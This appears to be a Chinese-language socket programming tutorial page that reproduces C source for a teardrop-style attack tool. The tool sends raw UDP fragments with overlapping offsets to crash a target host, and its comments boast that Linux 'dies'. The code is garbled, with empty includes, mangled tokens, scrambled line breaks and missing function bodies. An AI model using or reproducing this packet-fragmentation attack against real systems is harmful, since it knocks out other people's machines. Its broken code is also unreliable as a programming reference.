Socket程式設計實戰

#include 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#ifdef strange_bsd_byte_ordering_thing
/* openbsd < 2.1, all freebsd and netbsd, bsdi < 3.0 */
#define fix(n)  (n)
#else
/* openbsd 2.1, all linux */
#define fix(n)  htons(n)
#endif
/* strange_bsd_byte_ordering_thing */
#define ip_mf 0x2000  
/* more ip fragment en route */
#define iph 0x14    
/* ip header size */
#define udph 0x8     
/* udp header size */
#define padding  0x1c    
/* datagram frame padding for first packet */
#define magic  0x3     
/* magic fragment constant (tm).  should be 2 or 3 */
#define count 0x1      
/* linux dies with 1, nt is more stalwart and can
* withstand maybe 5 or 10 sometimes...  experiment.*/
void
usage
(u_char *);
u_long name_resolve
(u_char *);
void
send_frags
(int
, u_long, u_long, u_short, u_short)
;int
main
(int argc,
char
**ar**)
//設定套接字選項ip_hdrinclif(
setsockopt
(rip_sock, ipproto_ip, ip_hdrincl,
(char*)
&one,
sizeof
(one)
)<0)
if(argc <3)
usage
(ar**[0]
);// 設定源ip 和 目的ipif(
!(src_ip=
name_resolve
(ar**[1]
))||!
(dst_ip =
name_resolve
(ar**[2]
)))while
((i =
getopt
(argc, ar**,
"s:t:n:"))
!= eof)
}srandom
((unsigned)
(utimes
("0"
,(time_t)0)
));if
(!src_prt) src_prt =
(random()
%0xffff);
if(!dst_prt) dst_prt =
(random()
%0xffff);
if(!count)
count = count;
printf
("death on flaxen wings:\n");
addr.s_addr = src_ip;
printf
("from: %15s.%5d\n"
,inet_ntoa
(addr)
, src_prt)
;    addr.s_addr = dst_ip;
printf
(" to: %15s.%5d\n"
,inet_ntoa
(addr)
, dst_prt)
;printf
(" amt: %5d\n"
, count)
;printf
("[\n ");
for(i =
0; i < count; i++
)printf
("]\n");
return(0
);}// 設定 ip 包的內容
void
send_frags
(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)if(
sendto
(sock, packet, iph + udph + padding,0,
(struct sockaddr *
)&sin,
sizeof
(struct sockaddr))==
-1)// ip total length is 2 bytes into the header
p_ptr =
&packet[2]
;*((u_short *
)p_ptr)
=fix
(iph + magic +1)
;// ip offset is 6 bytes into the header
p_ptr +=4
;*((u_short *
)p_ptr)
=fix
(magic);if
(sendto
(sock, packet, iph+magic+1,
0,(struct sockaddr *
)&sin,
sizeof
(struct sockaddr))==
-1)free
(packet);}
// 獲取主機資訊
u_long name_resolve
(u_char *host_name)
return
(addr.s_addr);}
void
usage
(u_char *name)

然後用wireshark抓包如下：

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